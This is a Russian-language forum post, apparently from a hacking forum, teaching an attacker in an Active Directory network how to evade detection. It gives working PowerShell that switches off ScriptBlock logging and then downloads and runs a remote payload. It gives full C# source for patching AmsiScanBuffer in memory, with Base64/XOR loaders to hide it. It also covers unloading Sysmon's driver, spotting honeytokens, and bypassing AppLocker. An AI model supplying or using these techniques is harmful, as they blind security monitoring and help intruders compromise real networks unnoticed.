Атака на домен. обманываем средства обнаружения.

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER

Tartuga

Бывалый
ПРОВЕРЕННЫЙ ПРОДАВЕЦ
PREMIUM USER
Регистрация
7 Фев 2020
Сообщения
525
Реакции
98
Репутация
147
Проникнуть в сеть под управлением Active Directory — это только половина успеха. Другая важнейшая задача — оставаться в этой сети незамеченным как можно дольше. Поэтому сегодня мы разберем техники скрытия атаки от конкретных средств обнаружения и реагирования.

Обход журналирования PowerShell ScriptBlock.
С выходом Windows 10 и PowerShell 5.0 компания Microsoft представила несколько новых функций безопасности для PowerShell, в числе которых — ведение журнала ScriptBlock. Эта функция создает большие проблемы для атакующего (будь то редтимер, пентестер, исследователь или злоумышленник), так как регистрирует абсолютно все подозрительные действия в PowerShell. И созданные ScriptBlock журналы подлежат анализу стороной защиты.

Как и в случае с любой службой логирования, ведением журнала ScriptBlock управляют с помощью параметров групповой политики. PowerShell запрашивает его каждый раз, когда обнаруживает новый ScriptBlock, чтобы определить, нужно ли его регистрировать. Но дело в том, что PowerShell выполняет запрос один раз, кеширует его в памяти и возвращает при каждом обращении. Таким образом, эти параметры могут быть легко изменены с помощью следующего кода.

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0
$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0
Указанные действия можно выполнить, не обладая привилегиями администратора и не трогая реестр, что позволяет нам сделать это незаметно. Но есть одно ограничение. Новые политики применяются после проверки параметров, которые будут просмотрены, когда завершится первый SciptBlock, что приведет к регистрации события. Поэтому данный триггерный ScriptBlock должен быть максимально обфусцирован и не должен нести никакой полезной нагрузки. То есть выполняется он специально для завершения журналирования.

$GroupPolicyField = [ref].Assembly.GetType('System.Management.Automation.Utils')."GetFie`ld"('cachedGroupPolicySettings', 'N'+'onPublic,Static')
If ($GroupPolicyField) {
$GroupPolicyCache = $GroupPolicyField.GetValue($null)
If ($GroupPolicyCache['ScriptB'+'lockLogging']) {
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0
$GroupPolicyCache['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0
}
$val = [System.Collections.Generic.Dictionary[string,System.Object]]::new()
$val.Add('EnableScriptB'+'lockLogging', 0)
$val.Add('EnableScriptB'+'lockInvocationLogging', 0)
$GroupPolicyCache['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging'] = $val
}
iex (New-Object Net.WebClient).downloadstring("

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

")
Приведенный выше скрипт выполняет триггер для журнала, проверяет параметры логирования и запускает полезную нагрузку в обход журналирования.


Уклонение от регистрации Sysmon.
Системный монитор (Sysmon) — это системная служба Windows, предназначенная для мониторинга и регистрации активности системы в журнале событий Windows. Она предоставляет подробную информацию о создании процессов, о сетевых подключениях и изменениях времени создания файлов. Sysmon генерирует с помощью Windows Event Collection или агентов SIEM события и собирает их. Анализ собранных событий помогает идентифицировать вредоносную или аномальную активность. Что очень важно, Sysmon не предоставляет анализ событий, которые он генерирует, а также не пытается защитить систему или спрятаться от злоумышленников.

Sysmon — мощное средство анализа и представляет большую проблему для оператора, так как позволяет обнаружить различные индикаторы вредоносной активности, например создание процессов, файлов, потоков или изменение реестра. Сам Sysmon состоит из системной службы и драйвера, который предоставляет службе информацию. Хотя Sysmon и не пытается себя скрыть, но имя службы и имя драйвера по умолчанию могут быть изменены.


Изменения имени Sysmon на DrvName
В любом случае измененное имя драйвера не проблема, так как у каждого драйвера есть своя аптитуда — уникальный идентификатор, который указывает положение драйвера относительно остальных в стеке файловой системы. Таким образом, Sysmon имеет предопределенное значение 385201. То есть мы сможем обнаружить данный драйвер, даже если его переименуют.


Дефолтная аптитуда DrvName — 385201
Для выгрузки драйвера можно использовать fltMC, но перед этим Sysmon запротоколирует данное действие в журнале командной строки. Лучше использовать функции FIlterFindFirst() и FilterFindNext() из библиотеки fltlib.dll, чтобы найти и выгрузить драйвер с аптитудой 385201 без регистрации этого события.


Регистрация fltmc.exe в журнале командной строки с помощью Sysmon

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

использует эти функции для выгрузки драйвера. Чтобы это сделать, токен процесса должен иметь привилегию SeLoadDriverPrivileges, которая имеется у Shhmon за счет advapi32!AdjustTokenPrivileges.


Привилегии Shhmon
Таким образом, мы без детекта можем обнаружить даже переименованный драйвер Sysmon. Для этого используем Shhmon с параметром hunt.


Обнаружение переименованного драйвера Sysmon
Затем выгружаем драйвер, используя Shhmon с параметром kill.


Обнаружение переименованного драйвера Sysmon
Служба Sysmon остается активной, но уже без возможности собирать события и анализировать журналы! Правда, это происходит не бесследно, так как перед выгрузкой драйвера будет сгенерировано событие Sysmon с ID 255 — DriverCommunication.


Событие Sysmon DriverCommunication
Плюс ко всему использование привилегии SeLoadDriverPrivileges без протоколирования доступно только для NT AUTHORITY\SYSTEM, в противном случае будет сгенерировано событие безопасности с ID 4672. Тем не менее активный сбор и анализ данных с помощью Sysmon перестанет быть для нас проблемой.

В качестве дополнения можно сказать про инструмент под названием

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Этот сценарий просматривает стеки потоков процесса службы журнала событий и определяет, какие из потоков подлежат уничтожению. Таким образом, система не сможет собирать журналы, и в то же время служба журнала событий будет работать.


Уклонение от Honeytoken.
Honeypot — приманка для злоумышленника. Такие ресурсы создают специально для того, чтобы они подверглись атаке или несанкционированному воздействию. Впоследствии аналитики изучают стратегию атаки, а также определяют, с помощью каких средств она велась. При этом успешная атака на такой ресурс не принесет никакого вреда атакуемой инфраструктуре. Иными словами, Honeypot может представлять собой как специальный выделенный сервер, так и один отдельный сервис.

Honeytoken’ы — это Honeypot’ы, которые не являются компьютерными системами. Например, к этой категории можно отнести вымышленные слова или записи, которые добавляются в реальные базы данных. Они позволяют администраторам отслеживать утечки данных в сетях, потому что в обычных условиях эти данные всплывать не должны вообще. Так как они вряд ли когда-либо появятся в легитимном трафике, honeytoken’ы могут быть легко обнаружены с помощью IDS.

Помимо этого, Honeytoken’ами могут быть специальные учетные записи пользователей (особенно с описанием admin или netAdmin) либо записи в базе данных (нигде не используемые случайные поля вроде password2). Частый пример Honeytoken — нигде не используемый адрес электронной почты.

Но если объекты создаются специально для того, чтобы их нашли, как оператору не попасть в ловушку? Дело в том, что в этих объектах присутствуют так называемые маркеры — признак, по которому обманка отличается от реального объекта. К примеру, если взять объект «учетная запись», то некоторые средства генерации honeytoken’ов портят следующие атрибуты:

  • objectSID — имеет неверный формат;
  • lastLogon — наличие пользователей, которые никогда не входили в систему, но имеют привилегии;
  • logonCount — если у большинства учетных записей средний показатель logonCount составляет около 50, а у какой-то учетной записи — 3 или 4, это повод задуматься.
  • badPwdCount — нет такого пользователя, который в течение длительного времени ни разу не ввел бы неправильный пароль.
Как было отмечено, самый надежный способ определить аномалию — это сравнивать со средним показателем. Лучше что-то оставить непроверенным, чем проверить и быть обнаруженным. Еще один важный критерий — это объекты, не сопоставленные с реальными компьютерами.

Долгие исследования и накопленные методики позволили выявить семь самых частых типов honeytoken.

  1. Фальшивая учетная запись пользователя службы с определенным SPN и атрибутом adminCount, равным единице. В этом случае будет зафиксирована попытка Kerberoasting при запросе TGS для данной учетной записи.
  2. Фальшивые учетные данные в памяти. Создание процесса с флагом NetOnly приведет к кешированию поддельного токена, поэтому, как только оператор попытается использовать эти учетные данные, он будет обнаружен. Данный подход применяют

    Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

    и

    Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

    .
  3. Фальшивые учетные записи компьютеров. Как уже отмечалось, созданные объекты домена без привязки к фактическим устройствам подозрительны. Если использовать их для бокового перемещения, оператора обнаружат.
  4. Фальшивые данные диспетчера учетных данных. Специально введенные учетные данные будут отображаться при задействовании mimikatz. Соответственно, использование этих учетных данных неминуемо приведет к разоблачению.
  5. Фальшивые администраторы домена. Эти учетные записи неактивны и никогда не использовались. Среди большого количества учетных записей можно не учесть неактивные. Перебор учетных данных для таких записей сразу выдаст оператора. Этот способ используется в АТА.
  6. Фальшивые диски. Многие скрипты или черви распространяются через SMB-ресурсы, особенно если ресурс помечен как общий. Таким образом, все обращения к данным ресурсам будут обнаружены и зарегистрированы.
  7. Записи DNS. При переходе по специальным DNS-именам данный факт будет зарегистрирован и оператор будет обнаружен.
Основная идея всех фальшивых объектов — заставить оператора использовать их. Однако оператор может изучить эти объекты перед использованием. Для детекта всех семи типов honeytoken’ов был разработан инструмент

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. Использовать его можно следующим образом.

Import-Module .\Invoke-HoneypotBuster.ps1
Invoke-HoneypotBuster


Обнаружение фальшивой учетной записи с помощью Honeypot Buster
Этот инструмент написан на PowerShell и поддерживает версии начиная с 2.0. Для перечисления объектов используются запросы LDAP, а для сбора учетных данных — загрузка DLL, чтобы получить доступ к LSASS.


Обход AppLocker.
Средство под названием AppLocker снижает риск компрометации рабочих машин. Правила Applockrt применяются к целевому приложению, которое может быть исполняемым файлом, скриптом, файлом установщика и даже DLL. У каждого правила есть условия — это критерии идентификации приложения, к которому это правило применяется.

Есть три основных условия, формирующих правила: издатель, путь и хеш файла. Условие пути к файлу определяет приложение по его расположению в системе. Условие издателя определяет приложение на основе его цифровой подписи. Условие хеша файла определяет приложение на основе его хеша.


Перечисление правил AppLocker.
Первым делом грамотный оператор постарается узнать правила AppLocker. В большинстве случаев применяются правила по умолчанию, но также встречаются и пользовательские настройки. Так как правила AppLocker обычно являются объектом групповой политики, то их можно запросить в Active Directory. В PowerShell даже существует модуль AppLocker, c помощью которого можно запросить правила, применяемые в данной системе. Например, следующий скрипт представит правила AppLocker в удобном формате.

Import-Module AppLocker
[xml]$data = Get-AppLockerPolicy -effective -xml

Write-Output "[+] Printing Applocker Rules [+]`n"
($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode -match "Enabled" }) | ForEach-Object -Process {
Write-Output ($_.FilePathRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Path Rule ===`n`n Rule Name : $($_.Name) `n Condition : $($_.Conditions.FilePathCondition.Path)`n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
Write-Output ($_.FileHashRule) | ForEach-Object -Process { Write-Output "=== File Hash Rule ===`n`n Rule Name : $($_.Name) `n File Name : $($_.Conditions.FileHashCondition.FileHash.SourceFileName) `n Hash type : $($_.Conditions.FileHashCondition.FileHash.Type) `n Hash : $($_.Conditions.FileHashCondition.FileHash.Data) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
Write-Output ($_.FilePublisherRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Publisher Rule ===`n`n Rule Name : $($_.Name) `n PublisherName : $($_.Conditions.FilePublisherCondition.PublisherName) `n ProductName : $($_.Conditions.FilePublisherCondition.ProductName) `n BinaryName : $($_.Conditions.FilePublisherCondition.BinaryName) `n BinaryVersion Min. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection) `n BinaryVersion Max. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
}
Обход правила хеша файлов.
В качестве алгоритма хеширования в этом правиле по умолчанию используется SHA-256. Единственный способ, которым можно получить нелегитимные функции исполняемых приложений в обход данного правила, — это инъекция DLL (конечно, если приложение загружает DLL). К примеру, в Process Explorer была уязвимость, которая позволяла загрузить через DLL вредоносный код.

Таким образом, если существует правило, позволяющее запускать Process Explorer, то можно выполнить код. На иллюстрации ниже была загружена DLL, запускающая calc.exe.


Правило для Process Explorer


Запуск calc.exe с помощью Process Explorer
Вместо запуска калькулятора можно использовать более существенную нагрузку. Тем не менее главная задача выполнена — получилось обойти AppLocker.


Обход правила пути.
Это правило — самое распространенное, его применяют почти везде. Так как условием данного правила является расположение файла в файловой системе компьютера или в сети, то и обойти его довольно легко. На одной из конференций было представлено правило, которое позволяло запуск исполняемого файла из директории C:\Python27.


Правило, разрешающее запуск из директории C:\Python27
Таким образом, если каталог доступен для записи, есть возможность разместить в нем (а впоследствии и выполнить) любой файл.


Запуск файла из директории C:\Python27 в обход AppLocker



Обход правила издателя.
Цифровая подпись содержит информацию о компании — разработчике приложения, то есть об издателе. Таким образом, это правило идентифицирует приложение на основе его цифровой подписи и расширенных атрибутов. В случае исполняемых файлов, DLL и установщиков Windows эти атрибуты содержат название продукта, частью которого будет файл, предоставленное издателем оригинальное имя файла и номер его версии. В случае упакованных приложений и их установщиков расширенные атрибуты содержат имя и версию приложения.

Указанный тип правил — один из самых безопасных, и обходные пути очень ограничены. AppLocker проверяет, действительна подпись или нет, поэтому оператор не может просто подписать приложение ненадежными сертификатами. Но данное правило можно обойти с помощью того же способа, что и правило хеша, ведь инъекцию DLL с использованием этого правила никак не обнаружить.


Техника LOLBas.
Эта техника демонстрирует функции приложений, о которых большинство системных администраторов могут и не знать. Полный список приложений, а также способы эксплуатации различных функций этих программ можно посмотреть

Пожалуйста Авторизуйтесь или Зарегистрируйтесь для просмотра скрытого текста.

. К примеру, с помощью Wsreset.txt можно обойти UAC, а с помощью Advpack.dll — выполнять команды ОС.


LOLBas для некоторых приложений
Ниже представлен пример выполнения команды ОС с помощью Advpack.dll.


Вызов cmd.exe с помощью Advpack.dll

Обход PowerShell AMSI.
Antimalware Scan Interface (AMSI) позволяет приложениям и службам интегрироваться с любым имеющимся на компьютере продуктом для защиты от вредоносных программ. AMSI не зависит от поставщика антивирусных решений. Он разработан c учетом наиболее распространенных методов сканирования и защиты от них. К тому же AMSI поддерживает структуру вызовов, позволяющую сканировать файлы, память или поток, проверять URL/IP-адреса источника. Таким образом, AMSI сканирует, находит и блокирует все, что, по его мнению, может нанести вред системе.

По умолчанию AMSI работает с Microsoft Defender. Защитник Windows отменит свою регистрацию в качестве поставщика AMSI и отключится, когда другой антивирусный движок зарегистрируется в этом качестве.

Ошибки выполнения кода, вызываемые AMSI, можно получить при использовании таких известных сценариев, как PowerShell Empire или PowerSploit. На самом деле AMSI детектирует вредоносное ПО на основе известных строк. К примеру, если хоть где-то в коде встретится строка amsiutils, дальнейшее выполнение кода будет заблокировано.


Ошибка выполнения, вызванная AMSI
Обойти сканирование на основе известных строк легко: достаточно не использовать строки в целом виде. То есть, если мы разобьем строку amsiutils на строки ams, iut и ils, код будет успешно выполнен.


Конкатенация строк для обхода сканирования AMSI
Но при использовании серьезных сценариев этот трюк может не сработать. Таким образом, мы можем вообще уйти от конкатенации разделенных строк благодаря простому кодированию и декодированию строк. Таким способом мы получим исходную строку в момент выполнения. В качестве кодировки можно использовать Base64.


Использование кодировки Base64 для обхода сканирования AMSI
Но если мы сгенерируем полезную нагрузку и закодируем ее в Base64, то AMSI все равно ее распознает (не помогает скрыться даже двойное кодирование Base64)! Поэтому куда более надежным способом будет использование XOR.


Использование XOR для обхода сканирования AMSI
Но XOR тоже можно распознать, правда для этого потребуется более высокая абстракция. Поэтому лучше использовать комбинированные решения: например, XOR + Base64, Base64 + ROT13.

Как мы уже говорили в прошлых статьях, гораздо удобнее немного модернизировать средство защиты, тем самым меняя его функциональные возможности. То же самое и с AMSI: обход строк — это хорошо, но лучше, когда оператор использует полные скрипты и ему ничего не мешает.

AMSI имеет несколько функций, которые выполняются перед запуском любого кода PowerShell (начиная с PowerShell 3.0), поэтому, чтобы полностью обойти AMSI и выполнить любой вредоносный скрипт PowerShell, оператору необходимо внести поправки непосредственно в памяти.

AMSI защищает PowerShell, загружая библиотеку amsi.dll в область памяти PowerShell. При этом AMSI не различает пользователя с низкими привилегиями и привилегированного пользователя, такого как администратор какой-нибудь службы. AMSI загружает свою DLL для любого экземпляра PowerShell и сканирует консоль PowerShell с помощью Windows Defender, чтобы определить, следует ли блокировать операцию с полезной нагрузкой или разрешить ее выполнение.

Для начала необходимо собрать DLL-библиотеку, которая будет отключать AMSI. Немного изменив код (представленный на одной из конференций — сейчас я уже не вспомню, на какой), чтобы уйти от использования слов AMSI, BYPASS и подобных, получаем следующую DLL:

using System;
using System.Runtime.InteropServices;

public class A
{
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };

public static void B()
{
if (is64Bit())
PA(x64);
else
PA(x86);
}

private static void PA(byte[] patch)
{
try
{
var lib = Win32.LoadLibrary("amsi.dll");
var addr = Win32.GetProcAddress(lib, "Am" + "siS" + "ca" + "nBu" + "ffer");

uint oldProtect;
Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);

Marshal.Copy(patch, 0, addr, patch.Length);
}
catch (Exception e)
{
Console.WriteLine(" [x] {0}", e.Message);
Console.WriteLine(" [x] {0}", e.InnerException);
}
}

private static bool is64Bit()
{
bool is64Bit = true;

if (IntPtr.Size == 4)
is64Bit = false;

return is64Bit;
}
}
@Social_Engineering
class Win32
{
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);

[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}

Теперь используем PowerShell-скрипт для загрузки DLL и выполнения целевой функции. Исходный сценарий, который работал на момент представления этой методики на конференции, уже легко обнаруживается AMSI.

function B-A
{
if(-not ([System.Management.Automation.PSTypeName]"A").Type) {
[Reflection.Assembly]::Load([Convert]::FromBase64String("DLL библиотека в BASE64")@S_E_Book) | Out-Null
Write-Output "DLL has been reflected";
}
[A]::B()
}

Сообщение Windows Defender при обнаружении скрипта
Это происходит потому, что AMSI способен снять кодировку Base64. Но можно комбинировать методы обхода. К примеру, Base64 + XOR + Base64. Закодируем DLL с помощью следующего скрипта на Python.

#!/usr/bin/python3

import base64

with open("./AB.dll", "rb") as file:
dll = file.read()

enc = base64.b64encode(dll)
encxor = bytes( [ 96^byte for byte in enc ] )
encenc = base64.b64encode(encxor)

print(encenc)
Тогда PowerShell-скрипт будет выглядеть следующим образом.

function A-B
{
if(-not ([System.Management.Automation.PSTypeName]"A").Type) {
$encenc = "Закодированная DLL библиотека"
$enc = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($encenc))
$dec=@()
foreach($byte in [Text.Encoding]::UTF8.GetBytes($enc)){ $dec += $byte -bxor 96 }
$u = [Text.Encoding]::UTF8.GetString($dec)
[Reflection.Assembly]::Load([Convert]::FromBase64String($u)) | Out-Null
Write-Output "DLL has been reflected"
}
[A]::B()
}

Отключенный AMSI больше не реагирует на опасные строки
Это очень полезная и удобная техника, позволяющая работать со скриптами, которые AMSI блокировал.
 
Сверху